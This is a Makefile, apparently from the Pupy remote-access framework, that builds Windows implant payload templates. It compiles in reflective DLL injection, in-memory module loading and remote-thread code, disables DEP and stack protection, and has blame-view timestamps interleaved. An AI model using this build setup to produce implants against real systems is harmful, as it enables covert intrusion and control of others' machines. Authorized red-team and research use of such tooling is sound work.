pupy/client/sources/Makefile

149 lines
4.2 KiB
Makefile
Raw Normal View History

BUILDENV ?= $(PWD)/buildenv
PYTHONPATH := C:\\Python27
2015-10-03 19:16:37 +00:00
TEMPLATE_OUTPUT_PATH=../../pupy/payload_templates
2015-10-03 19:16:37 +00:00
ifndef ARCH
$(error You must specify an architecture - win64 or win32)
endif
CC := $(BUILDENV)/$(ARCH)/cl.sh
PYTHON := $(BUILDENV)/$(ARCH)/python.sh
HOST_PYTHON := python
ifeq "$(ARCH)" "win64"
CFLAGS:=$(CFLAGS) /DWIN_X64 /D_WIN64 /nologo
PPARCH := x64
else
CFLAGS:=$(CFLAGS) /DWIN_X86 /nologo
PPARCH := x86
2015-10-03 19:16:37 +00:00
endif
CFLAGS += /Iresources\\$(ARCH) /Iresources /DHAVE_WINDOW
# CFLAGS += /Iresources\\$(ARCH) /Iresources
ifdef DEBUG
DEBUG_ADD := -debug
CFLAGS := $(CFLAGS) /DDEBUG /DVERBOSE
2017-06-04 18:07:49 +00:00
LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup user32.lib
# LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console
PPARCH := $(PPARCH)d
else
DEBUG_ADD :=
2017-06-04 18:07:49 +00:00
LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup /LTCG user32.lib
PPARCH := $(PPARCH)
CFLAGS := $(CFLAGS) /O1 /GL /GS-
endif
2015-10-03 19:16:37 +00:00
SECARGS := "cl" ".xzdata"
CFLAGS := $(CFLAGS) /I..\\lzma
PYOBJS := \
_memimporter.obj \
MyLoadLibrary.obj \
Python-dynload.obj \
pupy_load.obj \
pupy.obj \
base_inject.obj
COMMON_OBJS := \
MemoryModule.obj \
actctx.obj list.obj thread.obj remote_thread.obj \
2017-07-02 13:23:33 +00:00
LoadLibraryR.obj
2017-07-02 13:23:33 +00:00
ifeq ($(UNCOMPRESSED),)
COMMON_OBJS += LzmaDec.obj
COMPRESSED = 1
else
CFLAGS += /DUNCOMPRESSED
SUFFIX := unc.$(SUFFIX)
COMPRESSED = 0
endif
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll
revision.h:
2017-04-25 14:45:32 +00:00
if [ -z $$COMMIT ]; then rev=$$(cat ../../.git/`cat ../../.git/HEAD | cut -f 2 -d \ ` | cut -c 1-8); \
else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@
pupy.c: resources/$(ARCH)/library.c revision.h
pupy_load.c: resources/$(ARCH)/msvcr90.c resources/$(ARCH)/python27.c resources/bootloader.c revision.h
2015-10-03 19:16:37 +00:00
import-tab.c import-tab.h: mktab.py
$(HOST_PYTHON) $(PFLAGS) $<
Python-dynload.obj: import-tab.c import-tab.h
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip
$(HOST_PYTHON) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/library.zip: ../build_library_zip.py
$(PYTHON) ../build_library_zip.py $@
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip
$(HOST_PYTHON) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(SECARGS)
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/bootloader.pyc: ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py ../gen_python_bootloader.py
$(PYTHON) ../gen_python_bootloader.py $(DEBUG_ADD)
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/bootloader.c: resources/bootloader.pyc ../gen_resource_header.py
$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll
@mkdir -p resources/$(ARCH)
cp $< $@
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll
@mkdir -p resources/$(ARCH)
cp $< $@
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/python27.c: resources/$(ARCH)/python27.dll ../gen_resource_header.py
$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/msvcr90.c: resources/$(ARCH)/msvcr90.dll ../gen_resource_header.py
$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)
2015-10-03 19:16:37 +00:00
$(PYOBJS): %.obj: %.c
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)\\include $<
2017-07-02 13:23:33 +00:00
ifeq ($(UNCOMPRESSED),)
LzmaDec.obj: ../lzma/LzmaDec.c
$(CC) /c $(CFLAGS) $<
2017-07-02 13:23:33 +00:00
endif
main_exe.obj: main_exe.c
$(CC) /c $(CFLAGS) $<
2015-10-03 19:16:37 +00:00
%.obj: %.c
$(CC) /c $(CFLAGS) $<
2015-10-03 19:16:37 +00:00
ReflectiveLoader.obj: ReflectiveLoader.c
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
2017-07-02 13:23:33 +00:00
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
2015-11-23 17:41:57 +00:00
$(CC) $(CFLAGS) $+ /Fe$@ $(LINKER_OPTS)
2015-10-03 19:16:37 +00:00
2017-07-02 13:23:33 +00:00
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
2015-10-03 19:16:37 +00:00
$(CC) $(CFLAGS) $+ /Fe$@ /LD
.PHONY: clean
clean:
rm -f *.obj
rm -f *.pyo
rm -f *.pyc
rm -f resources/bootloader.pyc
rm -f resources/*.c
2017-07-04 07:59:15 +00:00
rm -f resources/$(ARCH)/*.c
rm -f $(PYOBJS) $(COMMON_OBJS)
distclean: clean
rm -f revision.h
rm -f import-tab.c
rm -f import-tab.h
rm -f revision.h
rm -rf resources
$(COMMON_OBJS) $(PYOBJS): import-tab.h